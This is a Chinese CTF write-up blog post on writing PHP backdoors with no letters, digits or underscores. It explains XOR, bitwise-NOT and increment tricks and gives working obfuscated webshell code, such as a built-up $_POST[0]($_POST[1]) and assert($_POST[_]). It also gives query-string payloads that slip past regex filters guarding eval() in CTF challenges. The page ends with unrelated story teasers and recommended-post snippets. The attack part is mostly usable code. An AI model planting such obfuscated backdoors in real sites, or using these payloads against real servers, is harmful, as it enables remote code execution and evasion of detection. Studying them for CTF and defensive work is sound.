CTF踩坑PHP编写一个不包含数字字母和下划线的后门

首先要了解一下php中异或的用法
先看以下代码

<?php
    echo "A"^"?";
?>

运行结果


图片.png

我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了

我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:

<?php
    function B(){
        echo "Hello world";
    }
    $_++;
    $__= "?" ^ "}";
    $__();
?>
图片.png

我们一起来分析一下上面这段代码:
$_++;这行代码的意思是对变量名为"_"的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
$__="?" ^ "}";对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
$ __ ();通过上面的赋值操作,变量\$__的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello world。在PHP中,我们可以将字符串当作函数来处理。

看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。

我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。

下面是个非常简单的非数字字母的PHP后门:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

在这里我说明下,.=是字符串的连接,具体参看php语法

我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

不用数字和字母写shell的一道实例:

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。

那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。
我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:
payload

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

这里的"`{{{"^"?<>/"是异或的简短写法,表示_GET。
${$_}[_](${$_}[__]);等于$_GET[_]($_GET[__]);也就等于getFlag()
把_当作参数传进去执行getFlag()

①构造_GET读取

首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:

<?php
    echo "`{{{"^"?<>/";//_GET
?>

这段代码是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号 和Linux下面的通配符?

? 代表匹配一个字符
` 表示执行命令
" 对特殊字符串进行解析

由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看

<?php
    echo "{"^"<";
?>

输出为G

<?php
    echo "{"^">";
?>

输出为E

<?php
   echo "{"^"/";
?>

输出为T

所以_GET就是这么被构造出来的
②获取_GET参数

如何获取呢?咱们可以构造出如下字串:

<?php
    echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>

根据前面构造的来看,$_已经变成了_GET。

顺理成章的来讲,$_ = _GET这个字符串。

我们构建$_GET[ __ ]是为了要获取参数值

③传入参数

此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:

<?php
    echo $_=getFlag;//getFlag
?>

所以把参数全部连接起来,就可以了~~

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

这里在本地搭了一个。。


image.png
image.png

可见命令能执行成功。。

不用数字,字母和下划线写shell的实例

<?php

include 'flag.php';

if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>50){
        die("Too Long.");
    }
    if(preg_match("/[A-Za-z0-9_]+/",$code)){
        die("Not Allowed.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>  

下划线都不给,意味着不能定义变量,而且也构造不出来数字。这是大佬给的payload,+号必须加引号

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

51个字符太长了,所以这里可以用简短的写法

('$').("`{{{"^"?<>/").(['+'])&+=getFlag();

不过这样不能成功。
大佬给出了解释:eval只能解析一遍代码,所以如果写的是a.b这样的字符串拼接,就只会执行这个拼接,并不会去执行代码
例如:
eval($_GET['b']) url里面 b=phpinfo(); 这时候相当于eval('phpinfo();')
eval($_GET['b']) url里面b=$_GET[c]&c=phpinfo(); 相当于eval('$_GET[c]')
上面的payload是code=$_GET['+']&+=getFlag(); ,也就是eval('$_GET['+'])并不会执行getFlag();

正确的payload为

${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

<?php
    $a = 'hello';
    $$a = 'world';
    echo "$a ${$a}";
?>

输出:hello world

${$a},括号中的$a是可以执行的,变成了hello。
payload中的{}也是这个原理,{}中用的是异或,^在{}中被执行了,也就是上面讲的”`{{{“^”?<>/”执行了异或操作,相当于_GET。

最后eva函数拼接出了字符串$_GET['+']();,然后传入+=getFlag,最后执行了函数getFlag();

大佬给出的payloadhttp://localhost/getflag.php?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
这里用的是取反

~在{}中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}取反相当于$_GET
跟上面的payload一个原理,拼接出了$_GET['+']();,传入+=getFlag()从而执行了函数。

image.png

还有一种拼接的payload

code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

image.png

原理大同小异,$啊=getFlag;$啊();,这里就不需要用{}了,因为取反的值直接被当作字符串赋值给了$啊。

PHP中取反(~)的概念

来看一个汉字”和”

 print("和".encode('utf8'))
b'\xe5\x92\x8c'
 print("和".encode('utf8')[2])
140
 print(~"和".encode('utf8')[2])
-141
“和”的第三个字节的值为140[0x8c],取反的值为-141。
负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141的16进制为0xff73,php中chr(0xff73)==115,115就是s的ASCII值。
因此

<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
两个写法性质一样
结果会输出: ss

不用数字构造出数字

利用了PHP弱类型特性,true的值为1,故true+true==2。

$_=('>'>'<')+('>'>'<')
print($_)
print($_/$_)

结果会输出:2 1

在php中未定义的变量默认值为null,null==false==0,所以我们能够在不使用任何数字的情况下通过对未定义变量的自增操作来得到一个数字。

<?php
$_++;
print($_);
?>

结果会输出:1

不用数字和字母的 shell

在讲不用数字,字母和下划线写 shell 之前,先了解下不用数字和字母写 shell。毕竟学习都是循序渐进的。而且用不用下划线其实问题不大,因为 PHP 太灵活了。代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) 
{ eval($_GET['shell']);}

思路

将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 "assert",然后动态执行即可。

非字母、数字的字符异或出字母

不可打印字符,用 url 编码表示。

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

还可以用更短的字符,下面会用到。

"`{{{"^"?<>/"//_GET

^ 会对两边对应的字符串进行异或。

非字母、数字的字符取反出字母

利用的是 UTF-8 编码的某个汉字,将其中的某个字符取出来,取反为字母。一个汉字的 utf8 是三个字节,{2} 表示第 3 个字节

<?php
header("Content-Type:text/html;charset=utf-8");
$__=('>'>'<')+('>'>'<');//$__=2
$_=$__/$__;//$_=1
$___="瞰";
$____="和";
print(~($___{$_}));
echo "<br>";
print(~($____{$__}));
 
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
这里也有一种简短的写法 ${~"\xa0\xb8\xba\xab"} 它等于 $_GET。这里相当于直接把 utf8 编码的某个字节提取出来统一进行取反。

递增/递减运算符

这种方法很明显的缺点就是需要大量的字符。

image

也就是说,'a'++ => 'b''b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

<?php
 echo ' '.[]
?>
image.png

再取这个字符串的第一个字母,就可以获得'A'了。

参考:
https://www.liuxianglai.top/?p=145
https://blog.csdn.net/weixin_42665043/article/details/82142242
http://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.aqbeta.com/data/201808/153380340813497.html?tdsourcetag=s_pctim_aiomsg

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,884评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,755评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,369评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,799评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,910评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,096评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,159评论 3 411
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,917评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,360评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,673评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,814评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,509评论 4 334
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,156评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,882评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,123评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,641评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,728评论 2 351

推荐阅读更多精彩内容

  • 官网 中文版本 好的网站 Content-type: text/htmlBASH Section: User ...
    不排版阅读 4,378评论 0 5
  • 第2章 基本语法 2.1 概述 基本句法和变量 语句 JavaScript程序的执行单位为行(line),也就是一...
    悟名先生阅读 4,133评论 0 13
  • 一、php可以做什么 php是一种可以在服务器端运行的编程语言,可以运行在Web服务器端。 php是一门后台编程语...
    空谷悠阅读 3,091评论 4 97
  • 你买了一注两块钱的彩票,然后跟我说你有中五百万的机会? 我有一个女性朋友,去年在一家军区医院实习。然后她就跟我说起...
    找寻多巴胺阅读 775评论 0 0
  • 易效能90天目标】 雅思考试通过 减重3公斤 读完主治医师 今日三只青蛙完成100 1.参加婚礼 2.跑步 3.英...
    huiyoulanda阅读 155评论 0 0